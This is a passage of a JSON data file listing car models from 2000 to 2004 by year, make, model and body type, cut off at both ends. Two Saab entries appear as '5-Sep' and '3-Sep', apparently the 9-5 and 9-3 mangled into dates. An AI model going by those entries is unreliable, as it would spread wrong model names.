"Model": "S60",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Volkswagen",
"Model": "R32",
"Category": "Hatchback"
},
{
"Year": 2004,
"Make": "Volvo",
"Model": "V70",
"Category": "Wagon"
},
{
"Year": 2004,
"Make": "Volkswagen",
"Model": "Touareg",
"Category": "SUV"
},
{
"Year": 2004,
"Make": "Volvo",
"Model": "V40",
"Category": "Wagon"
},
{
"Year": 2004,
"Make": "Volkswagen",
"Model": "GTI",
"Category": "Hatchback"
},
{
"Year": 2004,
"Make": "Volvo",
"Model": "S80",
"Category": "Sedan"
},
{
"Year": 2004,
"Make": "Volvo",
"Model": "XC70",
"Category": "Wagon"
},
{
"Year": 2004,
"Make": "Volvo",
"Model": "XC90",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Audi",
"Model": "A4",
"Category": "Wagon, Sedan, Convertible"
},
{
"Year": 2003,
"Make": "Acura",
"Model": "MDX",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Acura",
"Model": "RSX",
"Category": "Coupe"
},
{
"Year": 2003,
"Make": "Acura",
"Model": "CL",
"Category": "Coupe"
},
{
"Year": 2003,
"Make": "Acura",
"Model": "TL",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "Acura",
"Model": "RL",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "Audi",
"Model": "A6",
"Category": "Sedan, Wagon"
},
{
"Year": 2003,
"Make": "Acura",
"Model": "NSX",
"Category": "Coupe"
},
{
"Year": 2003,
"Make": "Audi",
"Model": "S6",
"Category": "Wagon"
},
{
"Year": 2003,
"Make": "BMW",
"Model": "3 Series",
"Category": "Sedan, Convertible, Coupe, Wagon"
},
{
"Year": 2003,
"Make": "Cadillac",
"Model": "Seville",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "Buick",
"Model": "Century",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "BMW",
"Model": "M5",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "BMW",
"Model": "M3",
"Category": "Coupe, Convertible"
},
{
"Year": 2003,
"Make": "Audi",
"Model": "TT",
"Category": "Coupe, Convertible"
},
{
"Year": 2003,
"Make": "BMW",
"Model": "Z8",
"Category": "Convertible"
},
{
"Year": 2003,
"Make": "Audi",
"Model": "RS 6",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "Audi",
"Model": "S8",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "BMW",
"Model": "Z4",
"Category": "Convertible"
},
{
"Year": 2003,
"Make": "Audi",
"Model": "A8",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "Audi",
"Model": "allroad",
"Category": "Wagon"
},
{
"Year": 2003,
"Make": "Cadillac",
"Model": "Escalade EXT",
"Category": "Pickup"
},
{
"Year": 2003,
"Make": "Cadillac",
"Model": "CTS",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "BMW",
"Model": "7 Series",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "BMW",
"Model": "5 Series",
"Category": "Sedan, Wagon"
},
{
"Year": 2003,
"Make": "Buick",
"Model": "Rendezvous",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Buick",
"Model": "Park Avenue",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "Buick",
"Model": "Regal",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "BMW",
"Model": "X5",
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2003,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2003,
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{
"Year": 2003,
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{
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{
"Year": 2003,
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{
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{
"Year": 2003,
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{
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"Year": 2003,
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{
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{
"Year": 2003,
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{
"Year": 2003,
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"Year": 2003,
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{
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{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
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{
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{
"Year": 2003,
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{
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{
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{
"Year": 2003,
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{
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{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
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{
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{
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{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
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},
{
"Year": 2003,
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},
{
"Year": 2003,
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},
{
"Year": 2003,
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},
{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
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{
"Year": 2003,
"Make": "Mercedes-Benz",
"Model": "G-Class",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Mercedes-Benz",
"Model": "C-Class",
"Category": "Coupe, Sedan, Wagon"
},
{
"Year": 2003,
"Make": "Lexus",
"Model": "LX",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Mercedes-Benz",
"Model": "SLK-Class",
"Category": "Convertible"
},
{
"Year": 2003,
"Make": "Lincoln",
"Model": "LS",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "Mercedes-Benz",
"Model": "S-Class",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "MAZDA",
"Model": "MAZDA6",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "Mercedes-Benz",
"Model": "M-Class",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Lincoln",
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},
{
"Year": 2003,
"Make": "Mercedes-Benz",
"Model": "SL-Class",
"Category": "Convertible"
},
{
"Year": 2003,
"Make": "Mercury",
"Model": "Mountaineer",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Mercury",
"Model": "Sable",
"Category": "Sedan, Wagon"
},
{
"Year": 2003,
"Make": "MINI",
"Model": "Cooper",
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},
{
"Year": 2003,
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},
{
"Year": 2003,
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"Model": "Marauder",
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},
{
"Year": 2003,
"Make": "Mitsubishi",
"Model": "Eclipse",
"Category": "Coupe, Convertible"
},
{
"Year": 2003,
"Make": "Nissan",
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"Category": "SUV"
},
{
"Year": 2003,
"Make": "Nissan",
"Model": "Xterra",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Oldsmobile",
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"Category": "SUV"
},
{
"Year": 2003,
"Make": "Nissan",
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"Category": "Coupe"
},
{
"Year": 2003,
"Make": "Mitsubishi",
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"Category": "SUV"
},
{
"Year": 2003,
"Make": "Mitsubishi",
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},
{
"Year": 2003,
"Make": "Mitsubishi",
"Model": "Lancer",
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},
{
"Year": 2003,
"Make": "Mitsubishi",
"Model": "Diamante",
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},
{
"Year": 2003,
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"Category": "Pickup"
},
{
"Year": 2003,
"Make": "Nissan",
"Model": "Pathfinder",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Oldsmobile",
"Model": "Silhouette",
"Category": "Van/Minivan"
},
{
"Year": 2003,
"Make": "Mitsubishi",
"Model": "Outlander",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Nissan",
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"Category": "Pickup"
},
{
"Year": 2003,
"Make": "Nissan",
"Model": "Altima",
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},
{
"Year": 2003,
"Make": "Nissan",
"Model": "Maxima",
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},
{
"Year": 2003,
"Make": "Mitsubishi",
"Model": "Montero Sport",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Oldsmobile",
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},
{
"Year": 2003,
"Make": "Nissan",
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},
{
"Year": 2003,
"Make": "Oldsmobile",
"Model": "Alero",
"Category": "Sedan, Coupe"
},
{
"Year": 2003,
"Make": "Toyota",
"Model": "Echo",
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},
{
"Year": 2003,
"Make": "Pontiac",
"Model": "Montana",
"Category": "Van/Minivan"
},
{
"Year": 2003,
"Make": "Pontiac",
"Model": "Bonneville",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "Porsche",
"Model": "911",
"Category": "Convertible, Coupe"
},
{
"Year": 2003,
"Make": "Pontiac",
"Model": "Grand Prix",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "Porsche",
"Model": "Cayenne",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Saab",
"Model": "5-Sep",
"Category": "Sedan, Wagon"
},
{
"Year": 2003,
"Make": "Pontiac",
"Model": "Vibe",
"Category": "Wagon"
},
{
"Year": 2003,
"Make": "Subaru",
"Model": "Outback",
"Category": "Wagon, Sedan"
},
{
"Year": 2003,
"Make": "Suzuki",
"Model": "Grand Vitara",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Subaru",
"Model": "Forester",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Pontiac",
"Model": "Aztek",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Pontiac",
"Model": "Sunfire",
"Category": "Coupe"
},
{
"Year": 2003,
"Make": "Porsche",
"Model": "Boxster",
"Category": "Convertible"
},
{
"Year": 2003,
"Make": "Suzuki",
"Model": "Aerio",
"Category": "Sedan, Wagon"
},
{
"Year": 2003,
"Make": "Pontiac",
"Model": "Grand Am",
"Category": "Sedan, Coupe"
},
{
"Year": 2003,
"Make": "Toyota",
"Model": "4Runner",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Subaru",
"Model": "Impreza",
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},
{
"Year": 2003,
"Make": "Subaru",
"Model": "Legacy",
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},
{
"Year": 2003,
"Make": "Saturn",
"Model": "L-Series",
"Category": "Sedan, Wagon"
},
{
"Year": 2003,
"Make": "Saturn",
"Model": "VUE",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Subaru",
"Model": "Baja",
"Category": "Pickup"
},
{
"Year": 2003,
"Make": "Toyota",
"Model": "Sienna",
"Category": "Van/Minivan"
},
{
"Year": 2003,
"Make": "Toyota",
"Model": "Celica",
"Category": "Hatchback"
},
{
"Year": 2003,
"Make": "Saturn",
"Model": "Ion",
"Category": "Sedan, Coupe"
},
{
"Year": 2003,
"Make": "Toyota",
"Model": "Camry",
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},
{
"Year": 2003,
"Make": "Toyota",
"Model": "Matrix",
"Category": "Wagon"
},
{
"Year": 2003,
"Make": "Saab",
"Model": "3-Sep",
"Category": "Convertible, Sedan"
},
{
"Year": 2003,
"Make": "Toyota",
"Model": "Prius",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "Suzuki",
"Model": "XL-7",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Suzuki",
"Model": "Vitara",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Toyota",
"Model": "Corolla",
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},
{
"Year": 2003,
"Make": "Toyota",
"Model": "MR2",
"Category": "Convertible"
},
{
"Year": 2003,
"Make": "Toyota",
"Model": "Avalon",
"Category": "Sedan"
},
{
"Year": 2003,
"Make": "Toyota",
"Model": "Land Cruiser",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Toyota",
"Model": "Tacoma Regular Cab",
"Category": "Pickup"
},
{
"Year": 2003,
"Make": "Toyota",
"Model": "RAV4",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Volkswagen",
"Model": "Eurovan",
"Category": "Van/Minivan"
},
{
"Year": 2003,
"Make": "Toyota",
"Model": "Tacoma Double Cab",
"Category": "Pickup"
},
{
"Year": 2003,
"Make": "Toyota",
"Model": "Tundra Regular Cab",
"Category": "Pickup"
},
{
"Year": 2003,
"Make": "Toyota",
"Model": "Tundra Access Cab",
"Category": "Pickup"
},
{
"Year": 2003,
"Make": "Toyota",
"Model": "Highlander",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Toyota",
"Model": "Tacoma Xtracab",
"Category": "Pickup"
},
{
"Year": 2003,
"Make": "Toyota",
"Model": "Sequoia",
"Category": "SUV"
},
{
"Year": 2003,
"Make": "Toyota",
"Model": "Solara",
"Category": "Coupe, Convertible"
},
{
"Year": 2003,
"Make": "Volkswagen",
"Model": "GTI",
"Category": "Hatchback"
},
{
"Year": 2002,
"Make": "Acura",
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"Category": "SUV"
},
{
"Year": 2003,
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"Model": "New Beetle",
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},
{
"Year": 2003,
"Make": "Volkswagen",
"Model": "Golf",
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{
"Year": 2003,
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},
{
"Year": 2003,
"Make": "Volkswagen",
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},
{
"Year": 2002,
"Make": "Acura",
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{
"Year": 2003,
"Make": "Volvo",
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},
{
"Year": 2003,
"Make": "Volvo",
"Model": "S80",
"Category": "Sedan"
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{
"Year": 2003,
"Make": "Volkswagen",
"Model": "Jetta",
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},
{
"Year": 2003,
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"Category": "Wagon"
},
{
"Year": 2003,
"Make": "Volvo",
"Model": "C70",
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{
"Year": 2002,
"Make": "Audi",
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},
{
"Year": 2002,
"Make": "Audi",
"Model": "S6",
"Category": "Wagon"
},
{
"Year": 2002,
"Make": "BMW",
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{
"Year": 2002,
"Make": "Acura",
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{
"Year": 2002,
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{
"Year": 2002,
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{
"Year": 2003,
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{
"Year": 2002,
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{
"Year": 2003,
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{
"Year": 2002,
"Make": "Audi",
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{
"Year": 2003,
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{
"Year": 2002,
"Make": "Buick",
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{
"Year": 2002,
"Make": "Audi",
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},
{
"Year": 2002,
"Make": "BMW",
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},
{
"Year": 2002,
"Make": "Chevrolet",
"Model": "Avalanche 1500",
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},
{
"Year": 2002,
"Make": "Acura",
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},
{
"Year": 2002,
"Make": "Audi",
"Model": "TT",
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{
"Year": 2002,
"Make": "BMW",
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},
{
"Year": 2002,
"Make": "BMW",
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},
{
"Year": 2002,
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},
{
"Year": 2002,
"Make": "Chevrolet",
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},
{
"Year": 2002,
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},
{
"Year": 2002,
"Make": "Audi",
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},
{
"Year": 2002,
"Make": "BMW",
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},
{
"Year": 2002,
"Make": "Acura",
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{
"Year": 2002,
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},
{
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},
{
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},
{
"Year": 2002,
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},
{
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},
{
"Year": 2002,
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{
"Year": 2002,
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},
{
"Year": 2002,
"Make": "Chevrolet",
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},
{
"Year": 2002,
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},
{
"Year": 2002,
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},
{
"Year": 2002,
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},
{
"Year": 2002,
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},
{
"Year": 2002,
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},
{
"Year": 2002,
"Make": "BMW",
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},
{
"Year": 2002,
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},
{
"Year": 2002,
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},
{
"Year": 2002,
"Make": "Chevrolet",
"Model": "Camaro",
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},
{
"Year": 2002,
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},
{
"Year": 2002,
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},
{
"Year": 2002,
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"Model": "Silverado 2500 HD Regular Cab",
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},
{
"Year": 2002,
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},
{
"Year": 2002,
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"Category": "Van/Minivan"
},
{
"Year": 2002,
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},
{
"Year": 2002,
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},
{
"Year": 2002,
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},
{
"Year": 2002,
"Make": "Chevrolet",
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},
{
"Year": 2002,
"Make": "Chevrolet",
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},
{
"Year": 2002,
"Make": "Cadillac",
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},
{
"Year": 2002,
"Make": "Chevrolet",
"Model": "Malibu",
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},
{
"Year": 2002,
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"Category": "Pickup"
},
{
"Year": 2002,
"Make": "Chevrolet",
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"Category": "Van/Minivan"
},
{
"Year": 2002,
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"Model": "Silverado 1500 Extended Cab",
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},
{
"Year": 2002,
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},
{
"Year": 2002,
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},
{
"Year": 2002,
"Make": "Chevrolet",
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},
{
"Year": 2002,
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"Category": "Pickup"
},
{
"Year": 2002,
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"Category": "Convertible"
},
{
"Year": 2002,
"Make": "Dodge",
"Model": "Dakota Regular Cab",
"Category": "Pickup"
},
{
"Year": 2002,
"Make": "Chevrolet",
"Model": "TrailBlazer",
"Category": "SUV"
},
{
"Year": 2002,
"Make": "Chevrolet",
"Model": "Silverado 2500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 2002,
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"Category": "Van/Minivan"
},
{
"Year": 2002,
"Make": "Chevrolet",
"Model": "Suburban 2500",
"Category": "SUV"
},
{
"Year": 2002,
"Make": "Dodge",
"Model": "Durango",
"Category": "SUV"
},
{
"Year": 2002,
"Make": "Chevrolet",
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"Category": "Pickup"
},
{
"Year": 2002,
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},
{
"Year": 2002,
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},
{
"Year": 2002,
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},
{
"Year": 2002,
"Make": "Chrysler",
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},
{
"Year": 2002,
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},
{
"Year": 2002,
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},
{
"Year": 2002,
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},
{
"Year": 2002,
"Make": "Chevrolet",
"Model": "Tahoe",
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},
{
"Year": 2002,
"Make": "Daewoo",
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},
{
"Year": 2002,
"Make": "Daewoo",
"Model": "Leganza",
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},
{
"Year": 2002,
"Make": "Chevrolet",
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"Category": "Pickup"
},
{
"Year": 2002,
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"Model": "Dakota Quad Cab",
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},
{
"Year": 2002,
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},
{
"Year": 2002,
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},
{
"Year": 2002,
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},
{
"Year": 2002,
"Make": "Chrysler",
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},
{
"Year": 2002,
"Make": "Daewoo",
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},
{
"Year": 2002,
"Make": "Dodge",
"Model": "Dakota Club Cab",
"Category": "Pickup"
},
{
"Year": 2002,
"Make": "Dodge",
"Model": "Caravan Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2002,
"Make": "Dodge",
"Model": "Grand Caravan Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2002,
"Make": "Dodge",
"Model": "Ram Van 2500",
"Category": "Van/Minivan"
},
{
"Year": 2002,
"Make": "Ford",
"Model": "Explorer Sport",
"Category": "SUV"
},
{
"Year": 2002,
"Make": "Dodge",
"Model": "Ram 1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2002,
"Make": "Dodge",
"Model": "Ram 2500 Quad Cab",
"Category": "Pickup"
},
{
"Year": 2002,
"Make": "Dodge",
"Model": "Viper",
"Category": "Convertible, Coupe"
},
{
"Year": 2002,
"Make": "Ford",
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"Category": "Van/Minivan"
},
{
"Year": 2002,
"Make": "Ford",
"Model": "Econoline E350 Super Duty Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2002,
"Make": "Dodge",
"Model": "Neon",
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},
{
"Year": 2002,
"Make": "Dodge",
"Model": "Ram Wagon 2500",
"Category": "Van/Minivan"
},
{
"Year": 2002,
"Make": "Dodge",
"Model": "Intrepid",
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{
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{
"Year": 2002,
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{
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{
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{
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},
{
"Year": 2002,
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},
{
"Year": 2002,
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{
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{
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{
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{
"Year": 2002,
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{
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{
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{
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{
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{
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{
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{
"Year": 2002,
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{
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{
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{
"Year": 2002,
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{
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{
"Year": 2002,
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2002,
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{
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{
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{
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{
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{
"Year": 2002,
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{
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{
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{
"Year": 2002,
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2002,
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{
"Year": 2002,
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{
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{
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{
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{
"Year": 2002,
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{
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{
"Year": 2002,
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{
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{
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{
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{
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{
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{
"Year": 2002,
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{
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{
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{
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{
"Year": 2002,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2002,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2002,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2002,
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{
"Year": 2002,
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{
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{
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{
"Year": 2002,
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{
"Year": 2002,
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{
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{
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{
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{
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{
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{
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{
"Year": 2002,
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{
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{
"Year": 2002,
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{
"Year": 2002,
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{
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{
"Year": 2002,
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{
"Year": 2002,
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{
"Year": 2002,
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{
"Year": 2002,
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{
"Year": 2002,
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{
"Year": 2002,
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{
"Year": 2002,
"Make": "Pontiac",
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{
"Year": 2002,
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{
"Year": 2002,
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{
"Year": 2002,
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{
"Year": 2002,
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{
"Year": 2002,
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{
"Year": 2002,
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{
"Year": 2002,
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{
"Year": 2002,
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{
"Year": 2002,
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{
"Year": 2002,
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{
"Year": 2002,
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{
"Year": 2002,
"Make": "Suzuki",
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"Category": "SUV"
},
{
"Year": 2002,
"Make": "Toyota",
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},
{
"Year": 2002,
"Make": "Toyota",
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{
"Year": 2002,
"Make": "Toyota",
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},
{
"Year": 2002,
"Make": "Toyota",
"Model": "MR2",
"Category": "Convertible"
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{
"Year": 2002,
"Make": "Subaru",
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},
{
"Year": 2002,
"Make": "Toyota",
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},
{
"Year": 2002,
"Make": "Toyota",
"Model": "4Runner",
"Category": "SUV"
},
{
"Year": 2002,
"Make": "Saturn",
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"Category": "SUV"
},
{
"Year": 2002,
"Make": "Suzuki",
"Model": "Aerio",
"Category": "Wagon, Sedan"
},
{
"Year": 2002,
"Make": "Subaru",
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"Category": "Wagon, Sedan"
},
{
"Year": 2002,
"Make": "Toyota",
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},
{
"Year": 2002,
"Make": "Subaru",
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"Category": "SUV"
},
{
"Year": 2002,
"Make": "Toyota",
"Model": "Land Cruiser",
"Category": "SUV"
},
{
"Year": 2002,
"Make": "Suzuki",
"Model": "XL-7",
"Category": "SUV"
},
{
"Year": 2002,
"Make": "Toyota",
"Model": "Highlander",
"Category": "SUV"
},
{
"Year": 2002,
"Make": "Suzuki",
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"Category": "SUV"
},
{
"Year": 2002,
"Make": "Suzuki",
"Model": "Esteem",
"Category": "Sedan, Wagon"
},
{
"Year": 2002,
"Make": "Toyota",
"Model": "Corolla",
"Category": "Sedan"
},
{
"Year": 2002,
"Make": "Toyota",
"Model": "RAV4",
"Category": "SUV"
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{
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{
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{
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"Year": 2001,
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"Year": 2001,
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{
"Year": 2001,
"Make": "Hyundai",
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{
"Year": 2001,
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"Year": 2001,
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"Year": 2001,
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"Year": 2001,
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"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
"Make": "Hyundai",
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{
"Year": 2001,
"Make": "INFINITI",
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{
"Year": 2001,
"Make": "Honda",
"Model": "Odyssey",
"Category": "Van/Minivan"
},
{
"Year": 2001,
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},
{
"Year": 2001,
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"Category": "SUV"
},
{
"Year": 2001,
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},
{
"Year": 2001,
"Make": "INFINITI",
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"Category": "Sedan"
},
{
"Year": 2001,
"Make": "Hyundai",
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},
{
"Year": 2001,
"Make": "Honda",
"Model": "Civic",
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},
{
"Year": 2001,
"Make": "INFINITI",
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"Category": "SUV"
},
{
"Year": 2001,
"Make": "Isuzu",
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},
{
"Year": 2001,
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},
{
"Year": 2001,
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},
{
"Year": 2001,
"Make": "Lexus",
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},
{
"Year": 2001,
"Make": "Jaguar",
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},
{
"Year": 2001,
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},
{
"Year": 2001,
"Make": "Jeep",
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},
{
"Year": 2001,
"Make": "Isuzu",
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},
{
"Year": 2001,
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},
{
"Year": 2001,
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{
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},
{
"Year": 2001,
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},
{
"Year": 2001,
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},
{
"Year": 2001,
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},
{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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},
{
"Year": 2001,
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{
"Year": 2001,
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},
{
"Year": 2001,
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},
{
"Year": 2001,
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},
{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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},
{
"Year": 2001,
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{
"Year": 2001,
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},
{
"Year": 2001,
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},
{
"Year": 2001,
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},
{
"Year": 2001,
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{
"Year": 2001,
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},
{
"Year": 2001,
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"Model": "626",
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{
"Year": 2001,
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},
{
"Year": 2001,
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},
{
"Year": 2001,
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},
{
"Year": 2001,
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},
{
"Year": 2001,
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},
{
"Year": 2001,
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},
{
"Year": 2001,
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},
{
"Year": 2001,
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},
{
"Year": 2001,
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},
{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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},
{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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"Model": "MX-5 Miata",
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{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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{
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{
"Year": 2001,
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{
"Year": 2001,
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{
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{
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{
"Year": 2001,
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{
"Year": 2001,
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{
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{
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{
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{
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{
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{
"Year": 2001,
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},
{
"Year": 2001,
"Make": "Porsche",
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{
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{
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{
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{
"Year": 2001,
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{
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{
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{
"Year": 2001,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2001,
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{
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{
"Year": 2001,
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{
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{
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{
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{
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{
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{
"Year": 2001,
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{
"Year": 2001,
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{
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{
"Year": 2001,
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{
"Year": 2001,
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{
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{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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{
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{
"Year": 2001,
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{
"Year": 2001,
"Make": "Volvo",
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{
"Year": 2000,
"Make": "Acura",
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{
"Year": 2001,
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{
"Year": 2001,
"Make": "Volkswagen",
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{
"Year": 2000,
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{
"Year": 2001,
"Make": "Volkswagen",
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{
"Year": 2000,
"Make": "Audi",
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{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
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{
"Year": 2001,
"Make": "Volvo",
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{
"Year": 2000,
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{
"Year": 2000,
"Make": "Audi",
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"Category": "Sedan, Wagon"
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{
"Year": 2000,
"Make": "Acura",
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{
"Year": 2000,
"Make": "Audi",
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"Category": "Coupe"
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{
"Year": 2000,
"Make": "BMW",
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},
{
"Year": 2000,
"Make": "Buick",
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{
"Year": 2000,
"Make": "BMW",
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"Category": "SUV"
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{
"Year": 2000,
"Make": "Buick",
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{
"Year": 2000,
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{
"Year": 2000,
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{
"Year": 2000,
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{
"Year": 2000,
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{
"Year": 2000,
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},
{
"Year": 2000,
"Make": "BMW",
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"Category": "Sedan"
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{
"Year": 2000,
"Make": "BMW",
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"Category": "Convertible"
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{
"Year": 2000,
"Make": "Cadillac",
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{
"Year": 2000,
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{
"Year": 2000,
"Make": "BMW",
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"Category": "Hatchback, Convertible"
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{
"Year": 2000,
"Make": "BMW",
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{
"Year": 2000,
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{
"Year": 2000,
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},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "2500 HD Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Cadillac",
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},
{
"Year": 2000,
"Make": "Chevrolet",
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"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Chevrolet",
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},
{
"Year": 2000,
"Make": "Chevrolet",
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"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Cadillac",
"Model": "Escalade",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Chevrolet",
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"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Chevrolet",
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"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Chevrolet",
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"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Chevrolet",
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"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Corvette",
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},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Silverado 1500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 2000,
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"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Suburban 1500",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Tracker",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Chrysler",
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"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Chevrolet",
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},
{
"Year": 2000,
"Make": "Chevrolet",
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"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Express 3500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Silverado 2500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Express 1500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Tahoe (New)",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Chrysler",
"Model": "Cirrus",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Tahoe",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Camaro",
"Category": "Coupe, Convertible"
},
{
"Year": 2000,
"Make": "Dodge",
"Model": "Caravan Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Express 2500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Silverado 2500 HD Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Silverado 2500 HD Extended Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Blazer",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Express 2500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Chrysler",
"Model": "300M",
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},
{
"Year": 2000,
"Make": "Chevrolet",
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"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Malibu",
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},
{
"Year": 2000,
"Make": "Chrysler",
"Model": "Voyager",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Suburban 2500",
"Category": "SUV"
},
{
"Year": 2000,
"Make": "Chrysler",
"Model": "Grand Voyager",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Daewoo",
"Model": "Nubira",
"Category": "Sedan, Wagon"
},
{
"Year": 2000,
"Make": "Chrysler",
"Model": "Town & Country",
"Category": "Van/Minivan"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Impala",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "S10 Extended Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Cavalier",
"Category": "Coupe, Sedan, Convertible"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "S10 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Prizm",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Chrysler",
"Model": "LHS",
"Category": "Sedan"
},
{
"Year": 2000,
"Make": "Chevrolet",
"Model": "Silverado 1500 Regular Cab",
